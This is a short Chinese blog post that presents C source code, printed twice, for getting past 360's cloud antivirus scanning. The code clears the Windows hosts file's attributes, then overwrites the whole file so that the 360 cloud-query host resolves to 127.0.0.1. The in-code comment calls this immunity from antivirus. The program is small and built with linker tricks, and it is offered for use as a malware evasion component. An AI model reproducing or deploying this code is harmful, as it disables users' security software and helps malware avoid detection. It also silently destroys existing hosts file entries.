5月29
不多说,上代码。
//By:洪流
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"MSVCRT.lib")
#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")
int AntiYunScan()
{
char host[MAX_PATH];
GetSystemDirectory(host,MAX_PATH); //得到host目录,免疫杀毒软件
strcat(host,"\\drivers\\etc\\hosts");
SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL);
FILE *file;
file=fopen(host,"w");//以写入的方式打开文件,"w"--write
char mianyi[MAX_PATH]=
"127.0.0.1 localhost\r\n"
"127.0.0.1 qup.f.360.cn\r\n";
fputs(mianyi,file);
fclose(file);//关闭文件
return 0;
}
void Torrent()
{
AntiYunScan();
ExitProcess(0);
}
//By:洪流
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"MSVCRT.lib")
#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")
int AntiYunScan()
{
char host[MAX_PATH];
GetSystemDirectory(host,MAX_PATH); //得到host目录,免疫杀毒软件
strcat(host,"\\drivers\\etc\\hosts");
SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL);
FILE *file;
file=fopen(host,"w");//以写入的方式打开文件,"w"--write
char mianyi[MAX_PATH]=
"127.0.0.1 localhost\r\n"
"127.0.0.1 qup.f.360.cn\r\n";
fputs(mianyi,file);
fclose(file);//关闭文件
return 0;
}
void Torrent()
{
AntiYunScan();
ExitProcess(0);
}
VC也疯狂一:过360云
贴图系列一:别了我的九城


18:56


